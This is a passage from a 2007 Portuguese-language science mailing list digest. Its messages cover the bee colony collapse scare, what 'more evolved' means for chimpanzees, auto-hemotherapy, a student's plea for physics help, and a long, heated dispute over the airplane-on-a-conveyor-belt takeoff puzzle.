evidência do contrário, apenas uma possível e hipotética "alma" a ser
inserida no óvulo.

Mais que isso, a manchete descreve, apenas descreve, a frase do
cientista, sem distorce-la ou modifica-la. Pode não concordar com a
afirmação do autor, mas não pode criticar a manchete como tal.

Não creio em almas, não creio em deuses, e uma célula de sua pele tem
tanta possibilidade de "vir a ser" um ser humano quanto um óvulo,
fecundado ou não.

Se a célula-tronco é um "ser humano", masturbação masculina é "genocídio".

E chega de religião e dogmas e superstições religiosas, por favor.

Homero




SUBJECT: Abelhas, celulares, Einstein e o Apocalipse
FROM: "Kentaro Mori" <kentaro.mori@gmail.com>
TO: ciencialist@yahoogrupos.com.br, enigmasonline@yahoogrupos.com.br, exobiologia_e_cia@yahoogrupos.com.br, painelovni@yahoogrupos.com.br, ufoburn@yahoogrupos.com.br, Ufolista@yahoogrupos.com.br, "lista CA" <ceticismoaberto@yahoogrupos.com.br>
DATE: 23/04/2007 13:11

Abelhas, celulares, Einstein e o
Apocalipse<http://www.ceticismoaberto.com/news/?p=871>


Com uma mistura de temas assim, não é surpresa que o tema chame a atenção. A
história: a radiação de telefones celulares estaria afetando as abelhas,
causando uma preocupante "Desordem de Colapso de Colônias", que por sua vez
poderia levar ao fim do mundo. Pelo menos segundo Albert Einstein, que teria
dito que "*se as abelhas desparecessem da face da Terra, a Humanidade teria
apenas quatro anos de vida*". Confira o alarme dado na mídia em
inglês<http://www.google.com/news?q=Colony+Collapse+Disorder>ou em bom
português <http://www.google.com/news?hl=pt-BR&ned=pt-BR_br&q=abelhas>.
MarcianitosVerdes comentou a
história<http://marcianitosverdes.haaan.com/2007/04/desorden-del-colapso-de-colonias/>com
justificado ceticismo. Mesmo a entrada na Wikipédia sobre a "Desordem
de Colapso de Colônias<http://en.wikipedia.org/wiki/Colony_Collapse_Disorder>"
já esclarece que a notícia é basicamente baboseira. Embora as colônias de
abelhas nos EUA estejam sim sendo afetadas e a diminuição de colônias não
seja um bom sinal, grandes perdas são registradas desde os tempos do
telégrafo ao fim do século retrasado. Não se sabe ao certo mesmo se há uma
perda anormal em andamento aqui, e se há, suas causas são ainda mais
incertas. Telefones celulares, em particular, muito provavelmente não são os
vilões, já que sua radiação eletromagnética é relativamente fraca. Um
estudo<http://72.14.235.104/search?q=cache:yTffBm-MinAJ:www.mastsanity.org/index.php%3Foption%3Dcom_docman%26task%3Ddoc_download%26gid%3D46>constatou
uma possível influência negativa de ondas de rádio sobre colônias
de abelhas, mas este envolveu *bases de telefones sem fio *inseridas *dentro
*das colônias.
E quanto à citação de Einstein sobre o Apocalipse pós-abelhas? É tanto uma
mentira, quanto não foi dita por Einstein. As fabricantes de mel são insetos
importantes, mas os principais grãos que sustentam a humanidade não dependem
de insetos para polinização <http://instapundit.com/archives2/004182.php>. E
o fórum Snopes discute o que o físico alemão não
disse<http://message.snopes.com/showthread.php?p=127316>
.
Mas há um detalhe interessante nesta história, que o blog revela com
exclusividade. Há três anos os extraterrestres que criam os círculos
ingleses já haviam nos alertado sobre tudo
isso<http://www.ceticismoaberto.com/news/?p=430>
.

Postado em Fortianismo <http://www.ceticismoaberto.com/news/?cat=4>,
Ciência<http://www.ceticismoaberto.com/news/?cat=11>,
Ceticismo <http://www.ceticismoaberto.com/news/?cat=12> | Por Mori Comente!
» <http://www.ceticismoaberto.com/news/?p=871#respond>

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Fim do Mundo Atualização: O Apocalipse era u...
- <$BlogItemSubject$> <http://www.ceticismoaberto.com/news/?p=67>
In.só.li.to do Lat. insolitu adj., 1. Que não �...


[As partes desta mensagem que não continham texto foram removidas]



SUBJECT: P/ Manuel - Re: [ciencialist] A evolução dos chimpanzés
FROM: "Oraculo" <oraculo@atibaia.com.br>
TO: <ciencialist@yahoogrupos.com.br>
DATE: 23/04/2007 14:28

Olá Manuel

Manuel: "No G1, li a notícia de que geneticistas haviam concluído que os
chimpanzés são mais evoluídos que nós, seres humanos. Interessante.
Pelo menos, a pesquisa desses geneticistas reabre a questão: o que é
mesmo evolução? Segue o artigo:"

Parte do problema aqui é que o termo evolução não tem o significado de "melhora" ou "progresso" que nós damos a ele em termos leigos. Mais evoluído, para geneticistas, significa apenas que sofreu mais mutações, mais mudanças adaptativas, não necessáriamente para melhor ou mesmo para mais complexo.

Por exemplo, um parasita, que evoluiu de uma forma livre para se tornar menos complexo e mais dependente do animal parasitado, é "mais evoluido" que o seu primo que ainda tem vida livre. Mesmo assim, ele é menos complexo em termos de partes e mesmo de metabolismo que este.

Uma adaptação que permita a uma espécie "driblar" as pressões evolutivas, como por exemplo uma inteligência mais desenvolvida, pode manter a espécie sem muitas mutações, enquanto que seu parente sem essa adaptação continua a ter de se modificar para acompanhar estas mesmas pressões.

Um abraço.

Homero



[As partes desta mensagem que não continham texto foram removidas]



SUBJECT: Re: [ciencialist] Re: Auto-Hemoterapia
FROM: Chicao Valadares <chicaovaladares@yahoo.com.br>
TO: ciencialist@yahoogrupos.com.br
DATE: 23/04/2007 14:52

Takata eu me lembro que vc já mandou algumas
referencias de artigo pra lista...
Poderias mandar novamente??

Outra coisa: È verdade que não há comprovação
científica da eficácia da técnica??


--- rmtakata <roberto.takata@bol.com.br> escreveu:

> G1.COM.BR, 22-04-2007
>
> MÉDICO QUE CRIOU DVD DE AUTO-HEMOTERAPIA PODE PERDER
> DIPLOMA
> Muitas pessoas realizaram o tratamento depois de
> assistir a um DVD.
> Especialistas dizem que há riscos para a saúde.
>
http://g1.globo.com/Noticias/Ciencia/0,,MUL25500-5603-6433,00.html
> ---------------------
> []s,
>
> Roberto Takata
>
>


"O Binômio de Newton é tão belo como a Vênus de Milo.
O que há é pouca gente para dar por isso... "
Fernando Pessoa - Poesias de Alvaro Campos

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SUBJECT: Re: Auto-Hemoterapia
FROM: "rmtakata" <roberto.takata@bol.com.br>
TO: ciencialist@yahoogrupos.com.br
DATE: 23/04/2007 15:23

--- Em ciencialist@yahoogrupos.com.br, Chicao Valadares
> Takata eu me lembro que vc já mandou algumas
> referencias de artigo pra lista...
> Poderias mandar novamente??

http://br.groups.yahoo.com/group/ciencialist/message/59606

> Outra coisa: È verdade que não há comprovação
> científica da eficácia da técnica??

Pra câncer, não.

[]s,

Roberto Takata



SUBJECT: Fw: F�sica
FROM: "Luiz Ferraz Netto" <leobarretos@uol.com.br>
TO: "ciencialist" <ciencialist@yahoogrupos.com.br>
DATE: 23/04/2007 19:31

Por vezes o prof. JC já me puxou as orelhas por colocar na C-List mensagem de consulentes que davam 'idéia' que eu os estava menosprezando ou ridicularizando. Não, não é assim, algumas mensagem que posto aqui são as que realmente tenho dúvidas em "como respondê-las", por inúmeros motivos (algumas até de interpretação daquilo que o consulente quer).
Eis a mensagem que posto hoje. Digam-me como respondê-la:
++++++++++
segue abaixo.

aquele abraço,

===========================
Luiz Ferraz Netto [Léo]
leobarretos@uol.com.br
http://www.feiradeciencias.com.br/doacoes.asp
===========================
-----Mensagem Original-----
De: Cristian
Para: léo barretos
Enviada em: segunda-feira, 23 de abril de 2007 12:45
Assunto: Física


Boa tarde !!!

Léo Barretos preciso que você me ajude urgente !!!!!!!
Você é professor de FÌSICA ???
Acho que sim né porque entrei em seu site na FEIRA DE CIÊNCIAS então vou logo ao assunto .
Eu estou no 1º COLEGIAL e tenho aula de FÌSICA e não entendo nada que meu professor explica !!!!!!!! nada , nada nada !!!!!!
E o que eu faço ?????
Por favor se você puder me passa todas as formulas que existe em FÍSICA .
Por favor !!!!!!!
A matéria que estou estudando é : MECÂNICA - CINEMÁTICA ESCALAR .

POR FAVOR ME AJUDA !!!!!!!!!!!!!!!!!!!!!!

Você tem assim algum livro ou algum outro site que eu possa entrar e ver alguma coisa assim de FÍSICA ????
Qual livro você usa para entender o que é FÍSICA ?????

Vou estar aguardando !!!!!!!!!!
Você tem assim MSN ???
Assim exclarece minhas dúvodas a você !

Com muita esperança :

Cristian
Orlândia SP


--------------------------------------------------------------------------------



[As partes desta mensagem que não continham texto foram removidas]



SUBJECT: Re: [ciencialist] P/ JC - Re: Balanço do avião - Não to entendendo nada
FROM: José Renato <jrma@terra.com.br>
TO: <ciencialist@yahoogrupos.com.br>
DATE: 23/04/2007 21:38

Caro, José Carlos!
Esta chegando a hora da verdade. Não dá mais encompridar conversa para
tentar esconder a falta de lucidez e atenção para dar as respostas adequadas
ao problema apresentado. A melhor atitude depende apenas de você. Analise
com clareza. Faço outros comentários no corpo do seu e-mail, após JR -.
................................................

From: "José Carlos Antonio" <profjc2003@To: <ciencialist@yahoogrupos.com.br>
Sent: Monday, April 23, 2007 7:45 AM
Subject: [ciencialist] P/ JC - Re: Balanço do avião - Não to entendendo nada


Olá José Renato,

Se bem me lembro você já me disse que o enunciado não é seu, logo,
decorre daí que também não sendo meu só nos resta nos basearmos
naquilo que nos baseamos todos os dias: na experiência e na própria
linguagem. Quando falamos em movimentos próximos à superfície da Terra
nós "SEMPRE" subentendemos que o chão é nosso referencial e quando
queremos tomar outro referencial nós SEMPRE explicitamos isso. Como o
autor não explicita nenhum outro referencial, então só nos resta usar
a informação padrão.
JR - Essa "padronização" não existe, José Carlos. E o fato de vc
considerá-la revela que vc deixou de exercitar sua capacidade intelectual e
se acostumou em padronizar interpretações.

Veja que VOCÊ pode modificar o problema e escrever outro enunciado,
pode reescrever o enunciado original conforme queira ou, simplesmente,
pode criar um novo problema. A única coisa que nós não podemos é ficar
divagando sobre uma coisa tão banal quanto o enunciado de um
probleminha ordinário de decolagem de avião. :)
JR - O desafio do problema é exatamente a possibilidade de duas respostas à
pergunta: o avião voa ou não! E vc quer transformá-lo em um probleminha
ordinário de uma única resposta simples, fácil, só porque não conseguiu
perceber de cara essa outra resposta ou possibilidade!.

Na minha opinião, depois de 24 anos lidando com enunciados de
problemas de Física, tendo eu mesmo escrito milhares deles e lido
outros muitos milhares, eu não tenho nenhuma dúvida sobre o que estou
falando e sobre onde está o referencial proposto no problema original.
Mas você tem toda a liberdade do mundo para recriar o problema.
JR - O enunciado do problema é aquele mesmo. Não é necessário mudar. E não o
estou recriando. Apenas estou mostrando a vc e aos demais que é importante
estar lúcido para perceber as possibilidades que este ou qualquer outro
problema apresenta. Os problemas de movimentos relativos são comuns visto
que as possibilidades de interações são inúmeras. Exemplo simples: se o
ar-vento acelerasse e se deslocasse na mesma velocidade e sentido do avião?

E então, como vai ser? Vai recriar o problema a partir da SUA
interpretação dele? Se for, então deixe de dar uma de "João sem braço"
e assuma que o novo enunciado será SEU. Daí por diante você reescreve
o enunciado, define sua tese sobre a decolagem do avião e nós
discutimos as idéias propostas, ok?
JR - Por que vc insiste em dizer que a possibilidade existente no problema
requer um novo enunciado? Fica melhor assumir que vc não percebeu totalmente
o problema, em vez de vir enrolando com desculpas e propostas tolas, na
tentativa de confundir os menos atentos. Só depende de você...

Abraços,
JC

Abraços
José Renato
.....................................

--- Em ciencialist@yahoogrupos.com.br, José Renato <jrma@...> escreveu
>
> Caro, José Carlos!
>
> A interpretação de texto é uma das maiores dificuldades que
encontramos no
> desenvolvimento intelectual dos estudantes brasileiros. É o costume
inferir
> e pensar açodadamente de acordo com algo parecido ao que já fez ou teve
> conhecimento um dia.
>
> É comum problemas entre dois ou mais movimentos, em que não se fala
em outro
> referencial, apenas na relação entre os movimentos.
>
> No nosso caso, o avião está sobre a esteira... Por que não considerar a
> esteira como a pista móvel ou o "chão" móvel onde o avião se desloca,
> tentando decolar? Como se houvesse um deslocamento de terra...
>
> []s
>
> José Renato
>
> ET. [ ...o chão é *sempre* tomado como referencial... ]
>
> Sempre, é muito tempo, professor!
> ................................................
>
> From: "José Carlos Antonio" <profjc2003@To:
<ciencialist@yahoogrupos.com.br>
> Sent: Sunday, April 22, 2007 5:08 PM
> Subject: [ciencialist] P/ JC - Re: Balanço do avião - Não to
entendendo nada
>
>
> --- Em ciencialist@yahoogrupos.com.br, José Renato <jrma@> escreveu
> >
> > JC, onde vc viu escrito no enunciado que "o avião e a esteira se
> > moverão em sentidos opostos *em relação ao chão*"?
>
> "...A esteira tem um sistema de controle que acompanha a velocidade do
> avião e faz com que a esteira tenha exatamente a mesma velocidade
> dele, na direção oposta."
>
> A menos que seja feita, explicitamente, a indicação de um referencial
> que não seja o chão, para todos os efeitos o chão é sempre tomado como
> referencial para problemas que envolvem movimentos próximos à
> superfície terrestre.
>
>
> Abraços,
> JC
>
> > O que o enunciado afirma é que "Um avião está estacionado em uma pista
> > móvel".
> > []s
> > JR
> > ................................................
> >
> > From: "José Carlos Antonio" <profjc2003@>
> > To: <ciencialist@yahoogrupos.com.br>
> > Sent: Sunday, April 22, 2007 12:59 AM
> > Subject: [ciencialist] P/ JC - Re: Balanço do avião - Não to
> entendendo nada
> >
> >
> > Olá José Renato,
> >
> > Se o enunciado é:
> >
> > >>>>> Um avião está estacionado em uma pista móvel (como se fosse uma
> > > esteira rolante). O avião se move em uma direção, e a esteira na
> > > direção oposta. A esteira tem um sistema de controle que acompanha a
> > > velocidade do avião e faz com que a esteira tenha exatamente a
> > > mesma velocidade dele, na direção oposta. A pergunta é: o avião
> > > vai conseguir decolar?<<<<<
> >
> > Então a resposta é simples: o avião decolará, pois como o próprio
> > enunciado afirma o avião e a esteira se moverão em sentidos opostos em
> > relação ao chão. Se era só isso não sei porque tanta polêmica.
> >
> > Abraços,
> > JC



SUBJECT: Re: [ciencialist] P/ JC - Re: Balanço do avião - Conclusão final!
FROM: José Renato <jrma@terra.com.br>
TO: <ciencialist@yahoogrupos.com.br>
DATE: 23/04/2007 21:47

Luiz, acho que vc trocou JR por JC, não?
A frase que vc destacou é para contrapor uma curiosidade. O enunciado não
fala no chão, mas vc e JC o consideraram como referencial aos movimentos! O
enunciado menciona especificamente a esteira, mas vc não quer considerá-la
como referência aos movimentos!?
Vc poderia explicar por que?
[]s
José Renato
..........................................
From: "Luiz Ferraz Netto" <leobarretos@To: <ciencialist@yahoogrupos.com.br>
Sent: Monday, April 23, 2007 7:35 AM
Subject: Re: [ciencialist] P/ JC - Re: Balanço do avião - Conclusão final!


JC nos informa:

"A resposta é óbvia. Há o avião e a esteira. No enunciado não se fala no
chão."

Léo: O enunciado também não fala em 'ar'. Agora sim entendo sua idéia, ufa!
Custou!
Trata-se de um avião sobre uma esteira no vácuo sideral. Nada de chão, nada
de ar, nada de terra ou Sol ... é tudo tão simples!
Conclusão final minha: O avião não voa!
E, por favor, não vá me transformar esse avião em foguete! O enunciado não
fala isso!
Ah! Esqueça o mecanismo que puxa a esteira, é óbvio que ele 'puxa' em
relação à esteira.

[]'

===========================
Luiz Ferraz Netto [Léo]
leobarretos@uol.com.br
http://www.feiradeciencias.com.br/doacoes.asp
===========================
-----Mensagem Original-----
De: "José Renato" <jrma@terra.com.br>
Para: <ciencialist@yahoogrupos.com.br>
Enviada em: domingo, 22 de abril de 2007 21:20
Assunto: Re: [ciencialist] P/ JC - Re: Balanço do avião - Não to entendendo
nada


Caro, Luiz! É apenas isso tudo que vc quer que eu lhe responda? Afinal, o
que tanto lhe aflige para apelar para as barbas do califa? O que faz vc
elencar tantas perguntas desnecessárias e o que lhe impede de ver vc mesmo
as respostas? A resposta é óbvia. Há o avião e a esteira. No enunciado não
se fala no chão.
Lembra do elevador de Einstein, subindo acelerado no espaço, curvando a
trajetória horizontal de um raio de luz? Também não se fala em chão. A
referência é a cabine do elevador em movimento.

No problema a primeira referência é a própria esteira se deslocando na mesma
velocidade do avião. Numa decolagem normal é o avião que se movimenta sobre
o chão. Nesse caso, é como se o chão também se movimentasse junto com o
avião na mesma velocidade, em sentidos contrários. Lembre do cálculo
infinitesimal para entender melhor como isso ocorre simultaneamente.

Qual é a dificuldade de considerar a esteira como o "chão" onde o avião se
desloca? De considerar um ponto de referência sobre a esteira?

Alguma coisa está travando seu raciocínio para impedir que veja essa
possibilidade, além da já vista e aceita, em que se considera o ponto de
referência para a medida da velocidade do avião, no solo-terra.

Abraços

José Renato
..........................................

From: "Luiz Ferraz Netto" <leobarretos@To: <ciencialist@yahoogrupos.com.br>
Sent: Sunday, April 22, 2007 12:33 PM
Subject: Re: [ciencialist] P/ JC - Re: Balanço do avião - Não to entendendo
nada


Pelas barbas do califa, oh José Renato, diga-nos qual é a referência
(referencial), no enunciado, para as seguintes afirmações:

(a) "Um avião está estacionado";
(b) "numa pista móvel";
(c) "o avião se move em uma direção";
(d) "e a esteira em direção oposta";
(e) "A esteira tem um sistema de controle que acompanha a velocidade do
avião";
(f) "e faz com que a esteira tenha exatamente a mesma velocidade dele, na
direção oposta.";
(g) "o avião vai conseguir decolar?"

[ ... ]


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SUBJECT: P/ Renato - Re: Balanço do avião - Não to entendendo nada
FROM: "oraculo333" <oraculo@atibaia.com.br>
TO: ciencialist@yahoogrupos.com.br
DATE: 23/04/2007 23:17

Olá Jose Renato

Renato: "Esta chegando a hora da verdade. "

Não Renato, ela chegou, passou, e só você não percebeu, nem entendeu
nada. Infelizmente. Todos já compreenderam, inclusive os que
inicialmente foram "pegos" pelo problema, como o Leo, que na verdade
tinha essa intenção, usar um "red hering" de chamariz, a esteira, e
confundir nossa percepção.

Com os exemplos e explicações todos, com uma única exceção,
compreenderam o erro. E veja você, quem é a exceção, você..:-)

Renato: "Exemplo simples: se o ar-vento acelerasse e se deslocasse na
mesma velocidade e sentido do avião?"

Resposta simples, o avião decolaria, NÃO IMPORTA sobre o que
estivesse, se chão ou esteira, se a esteira se move ou não. Se o ar
acelerasse, e atingisse a velocidade de decolagem, ele decolaria.

Já voou de asa delta ou paraglider? Eu já, e é exatamente isso que
acontece. Em dias com bastante vento, ficamos de frente para a rampa,
esperamos que o vento atinja a velocidade correta, e "decolamos", sem
necessidade de dar um único passo para frente.

A asa ou o glider simplesmente "flutuam", voam, a partir do
deslocamento do ar. E aconteceria o mesmo ainda que o piloto estivesse
de patins sobre uma esteira de academia..:-)

Até SEUS exemplos indicam que está errado, Renato, mas insiste em
discutir esse erro.

Renato: "Apenas estou mostrando a vc e aos demais que é importante
estar lúcido para perceber as possibilidades que este ou qualquer
outro problema apresenta. "

Não, está apenas teimando e teimando, movido por uma cegueira
impressionante e um apego religioso ao um erro (não me admira que seja
religioso, tem o perfil psicologico correto). O que pensa ser
"lucidez" é apenas cegueira mesmo.

Renato: "Fica melhor assumir que vc não percebeu totalmente o
problema, em vez de vir enrolando com desculpas e propostas tolas, na
tentativa de confundir os menos atentos. Só depende de você..."

Se há algo que o Professor NÃO fez foi isso, enrolar ou inventar
desculpas. Ou o Ricardo, ou o Leo, ou todos os que tentaram abrir seus
olhos e explicar seu erro. Professores, físicos, especialistas (como
os que postei, em inglês, tempos atras) todos tentaram, sem enrolar e
o mais didaticamente possível, explicar seu erro.

O professor foi especialmente cordato e educado, e não merecia essa
ofensa final de você..:-(

O problema enganou você com o "red hering" da esteira. Tudo bem, ele
foi criado para isso, para enganar em uma primeira leitura os menos
atentos. Mas manter o erro, a ferro e fogo, mesmo com todos tentando
explicar a questão para você, é demais.

Se existe alguém que realmente não percebeu ou entendeu o problema, é
você Renato.

Um abraço.

Homero




SUBJECT: Re: Fw: Física
FROM: José Carlos Antonio <profjc2003@yahoo.com.br>
TO: ciencialist@yahoogrupos.com.br
DATE: 23/04/2007 23:18

Oi Léo,

Puxei e puxo mesmo! Adoro puxar as orelhas alheias. :)

Mas, falando sério, nada contra postar as dúvidas dos consulentes
desde que se possa também postar as dúvidas do José Renato e do
Ferrari. A diferença entre eles não é assim tão grande quando se trata
de entender de "Física". :)

Recomende ao Cristian que baixe livros online de boa qualidade. Eles
podem baixar o livro do GREF e do Telecurso 2000 diretamente do meu
site em http://www.profjc.net/ (é só entrar na "Biblioteca Online",
menu da esquerda, e seguir o roteiro: biblioteca online -> alunos ->
material didático para consulta -> "escolha qual quiser"). Está tudo e
pdf.

Porém, sabemos que esses meninos não querem livros, querem respostas
prontas para as perguntas do professor. :)

Além disso, Cinemática Escalar, ninguém merece mesmo! :)))

Abraços,
JC


--- Em ciencialist@yahoogrupos.com.br, "Luiz Ferraz Netto"
<leobarretos@...> escreveu
>
> Por vezes o prof. JC já me puxou as orelhas por colocar na C-List
mensagem de consulentes que davam 'idéia' que eu os estava
menosprezando ou ridicularizando. Não, não é assim, algumas mensagem
que posto aqui são as que realmente tenho dúvidas em "como
respondê-las", por inúmeros motivos (algumas até de interpretação
daquilo que o consulente quer).
> Eis a mensagem que posto hoje. Digam-me como respondê-la:
> ++++++++++
> segue abaixo.
>
> aquele abraço,
>
> ===========================
> Luiz Ferraz Netto [Léo]
> leobarretos@...
> http://www.feiradeciencias.com.br/doacoes.asp
> ===========================
> -----Mensagem Original-----
> De: Cristian
> Para: léo barretos
> Enviada em: segunda-feira, 23 de abril de 2007 12:45
> Assunto: Física
>
>
> Boa tarde !!!
>
> Léo Barretos preciso que você me ajude urgente !!!!!!!
> Você é professor de FÌSICA ???
> Acho que sim né porque entrei em seu site na FEIRA DE CIÊNCIAS
então vou logo ao assunto .
> Eu estou no 1º COLEGIAL e tenho aula de FÌSICA e não entendo
nada que meu professor explica !!!!!!!! nada , nada nada !!!!!!
> E o que eu faço ?????
> Por favor se você puder me passa todas as formulas que existe em
FÍSICA .
> Por favor !!!!!!!
> A matéria que estou estudando é : MECÂNICA - CINEMÁTICA ESCALAR .
>
> POR FAVOR ME AJUDA !!!!!!!!!!!!!!!!!!!!!!
>
> Você tem assim algum livro ou algum outro site que eu possa entrar
e ver alguma coisa assim de FÍSICA ????
> Qual livro você usa para entender o que é FÍSICA ?????
>
> Vou estar aguardando !!!!!!!!!!
> Você tem assim MSN ???
> Assim exclarece minhas dúvodas a você !
>
> Com muita esperança :
>
> Cristian
> Orlândia SP
>
>
>
--------------------------------------------------------------------------------
>
>
>
> [As partes desta mensagem que não continham texto foram removidas]
>




SUBJECT: P/ Renato - Re: Balanço do avião - Conclusão final!
FROM: "oraculo333" <oraculo@atibaia.com.br>
TO: ciencialist@yahoogrupos.com.br
DATE: 23/04/2007 23:22

Olá Renato

Renato: "O enunciado não fala no chão, mas vc e JC o consideraram como
referencial aos movimentos! O enunciado menciona especificamente a
esteira, mas vc não quer considerá-la como referência aos movimentos!?
Vc poderia explicar por que?"

Porque o enunciado não fala em ar, em planeta Terra, em gravidade, em
piloto, em asas, em carburador, em pneus, em aerodinamica, etc, etc,
etc, e ainda assim todas essas coisas estão, devem estar, presentes no
problema.

Dessa forma, um avião deve se comportar como um avião, e sua decolagem
deve ser avaliada a partir de seu movimento em relação ao ar, que como
sabe, está no mesmo referencial que o chão, que, como sabe, deve
existir para suportar a esteira, que como você SE RECUSA A ENTENDER< é
uma armadilha, uma distração, totalmente irrelevante para a decolagem
do avião.

A esteira NÃO IMPORTA, desde que o avião possa se mover em relação ao
ar/chão, e ele pode se mover, desde que não esteja amarrado ou receba
de alguma forma forças a partir de vetores externos. E a esteira NÃO
PODE APLICAR FORÇA no avião, em qualquer velocidade, em qualquer
direção, etc, etc, etc.

Isso é ridículo, a essa altura!!!

Homero




SUBJECT: P/ JC - Re: Balanço do avião - Não to entendendo nada
FROM: José Carlos Antonio <profjc2003@yahoo.com.br>
TO: ciencialist@yahoogrupos.com.br
DATE: 23/04/2007 23:48

Olá José Renato,

Vou respondendo, com calma e paciência, logo abaixo dos seus
comentários... Você merece. :)


--- Em ciencialist@yahoogrupos.com.br, José Renato <jrma@...> escreveu
>
> Caro, José Carlos!
> Esta chegando a hora da verdade. Não dá mais encompridar conversa para
> tentar esconder a falta de lucidez e atenção para dar as respostas
adequadas
> ao problema apresentado. A melhor atitude depende apenas de você.
Analise
> com clareza. Faço outros comentários no corpo do seu e-mail, após JR


Tentarei, José Renato, tentarei...


-.
> ................................................
>
> From: "José Carlos Antonio" <profjc2003@To:
<ciencialist@yahoogrupos.com.br>
> Sent: Monday, April 23, 2007 7:45 AM
> Subject: [ciencialist] P/ JC - Re: Balanço do avião - Não to
entendendo nada
>
>
> Olá José Renato,
>
> Se bem me lembro você já me disse que o enunciado não é seu, logo,
> decorre daí que também não sendo meu só nos resta nos basearmos
> naquilo que nos baseamos todos os dias: na experiência e na própria
> linguagem. Quando falamos em movimentos próximos à superfície da Terra
> nós "SEMPRE" subentendemos que o chão é nosso referencial e quando
> queremos tomar outro referencial nós SEMPRE explicitamos isso. Como o
> autor não explicita nenhum outro referencial, então só nos resta usar
> a informação padrão.
> JR - Essa "padronização" não existe, José Carlos. E o fato de vc
> considerá-la revela que vc deixou de exercitar sua capacidade
intelectual e
> se acostumou em padronizar interpretações.


Pode ser, José Renato, mas também pode não ser. Eu acompanho os
vestibulares das principais universidades do país (e também os livros
didáticos) há cerca de 24 anos e não me lembro de muitas questões onde
se tenha explicitado o referencial como sendo o "chão", por outro lado
na extrema maioria das vezes esse referencial está "implícito". É
assim que é, meu caro, e saber disso é parte do "saber Física".

Imagine que as placas de velocidade máxima de uma rodovia tivessem que
explicitar: "velocidade máxima permitida em relação ao chão = 80
km/h"; você não acharia estranho? Imagine que se diga que uma árvore
tem cinco metros de altura, você terá alguma dúvida de que essa altura
foi medida em relação ao chão? Na verdade, em todas as situações do
seu cotidiano em que lhe informam uma velocidade, em quais delas essa
velocidade não se refere ao chão ou a um referencial imóvel em relação
ao chão? Vamos, José Renato, pense! ;)

Veja que se não explicitamos o referencial no chão e nem em um outro
local, a escolha será sempre o chão. Se você quiser que o referencial
seja outro que não o chão, deverá explicitá-lo sempre que os
movimentos se dão próximos à superfície da Terra. Se o referencial não
for no chão e não houver uma indicação clara disso, a questão estará
mal formulada e ao contrário do que você sugere, não demonstrará
nenhuma "capacidade intelectual" extra do elaborador da questão e nem
de quem se aventurar a "inventar" novas interpretações estapafúrdias.

Por fim, note que se o refencial não está explicitado, mas está
implícito no chão, talvez seja muito mais problemático para você supor
que o referencial esteja em outro lugar. De qualquer forma, se você
supõe o referencial em outro lugar, então pelo menos diga que lugar é
esse. O cúmulo do "excesso de capacidade intelectual" é discordar que
o referencial seja o chão e não ter nenhum outro referencial para
propor, você não acha?


> Veja que VOCÊ pode modificar o problema e escrever outro enunciado,
> pode reescrever o enunciado original conforme queira ou, simplesmente,
> pode criar um novo problema. A única coisa que nós não podemos é ficar
> divagando sobre uma coisa tão banal quanto o enunciado de um
> probleminha ordinário de decolagem de avião. :)
> JR - O desafio do problema é exatamente a possibilidade de duas
respostas à
> pergunta: o avião voa ou não! E vc quer transformá-lo em um probleminha
> ordinário de uma única resposta simples, fácil, só porque não conseguiu
> perceber de cara essa outra resposta ou possibilidade!.


É verdade. A mim esse parece ser um probleminha realmente simples e
ordinário e eu estou tentando há várias mensagens entender como que
você não o vê dessa forma. :)

Já resolvemos o problema anterior, em que não havia atrito nenhum
entre os rolamentos da roda do avião e você concordou, por
consentimento, que a solução seria o avião decolando normalmente.
Digamos então que agora você copiou o enunciado "original" e temos um
novo problema, mas nesse novo problema o avião também decola, a menos,
é claro, que você tenha "outra solução". Mas você ainda está encalhado
no referencial, não é?

Eu não vejo a "outra possibilidade" e você parece que também não a vê
ou vê mas não consegue mostrá-la. Seria uma possibilidade "mística",
dessas que só vê quem tem fé, ou ainda estamos falando da boa Física
materialista?


> Na minha opinião, depois de 24 anos lidando com enunciados de
> problemas de Física, tendo eu mesmo escrito milhares deles e lido
> outros muitos milhares, eu não tenho nenhuma dúvida sobre o que estou
> falando e sobre onde está o referencial proposto no problema original.
> Mas você tem toda a liberdade do mundo para recriar o problema.
> JR - O enunciado do problema é aquele mesmo. Não é necessário mudar.
E não o
> estou recriando. Apenas estou mostrando a vc e aos demais que é
importante
> estar lúcido para perceber as possibilidades que este ou qualquer outro
> problema apresenta. Os problemas de movimentos relativos são comuns
visto
> que as possibilidades de interações são inúmeras. Exemplo simples: se o
> ar-vento acelerasse e se deslocasse na mesma velocidade e sentido do
avião?


Oras, se o enunciado é aquele, então a velocidade da esteira e do
avião estão dadas em relação ao chão. Você tem alguma dúvida com
relação a isso? Qual? Porque? Qual sua interpretação?


> E então, como vai ser? Vai recriar o problema a partir da SUA
> interpretação dele? Se for, então deixe de dar uma de "João sem braço"
> e assuma que o novo enunciado será SEU. Daí por diante você reescreve
> o enunciado, define sua tese sobre a decolagem do avião e nós
> discutimos as idéias propostas, ok?
> JR - Por que vc insiste em dizer que a possibilidade existente no
problema
> requer um novo enunciado? Fica melhor assumir que vc não percebeu
totalmente
> o problema, em vez de vir enrolando com desculpas e propostas tolas, na
> tentativa de confundir os menos atentos. Só depende de você...


Só depende de mim o quê? Eu já lhe expliquei que o enunciado refere-se
ao chão como referencial e que o avião voará (essa é a mesma situação
I do problema anterior que JÁ RESOLVEMOS). Você ainda tem dúvidas com
relação ao vôo do avião nessas condições? Qual a dúvida? Porque tem
essa dúvida?

Viu só, fiquei calminho e respondi direitinho. Agora é sua vez: qual
sua dúvida?

Abraços,
JC


> Abraços,
> JC
>
> Abraços
> José Renato
> .....................................
>
> --- Em ciencialist@yahoogrupos.com.br, José Renato <jrma@> escreveu
> >
> > Caro, José Carlos!
> >
> > A interpretação de texto é uma das maiores dificuldades que
> encontramos no
> > desenvolvimento intelectual dos estudantes brasileiros. É o costume
> inferir
> > e pensar açodadamente de acordo com algo parecido ao que já fez ou
teve
> > conhecimento um dia.
> >
> > É comum problemas entre dois ou mais movimentos, em que não se fala
> em outro
> > referencial, apenas na relação entre os movimentos.
> >
> > No nosso caso, o avião está sobre a esteira... Por que não
considerar a
> > esteira como a pista móvel ou o "chão" móvel onde o avião se desloca,
> > tentando decolar? Como se houvesse um deslocamento de terra...
> >
> > []s
> >
> > José Renato
> >
> > ET. [ ...o chão é *sempre* tomado como referencial... ]
> >
> > Sempre, é muito tempo, professor!
> > ................................................
> >
> > From: "José Carlos Antonio" <profjc2003@To:
> <ciencialist@yahoogrupos.com.br>
> > Sent: Sunday, April 22, 2007 5:08 PM
> > Subject: [ciencialist] P/ JC - Re: Balanço do avião - Não to
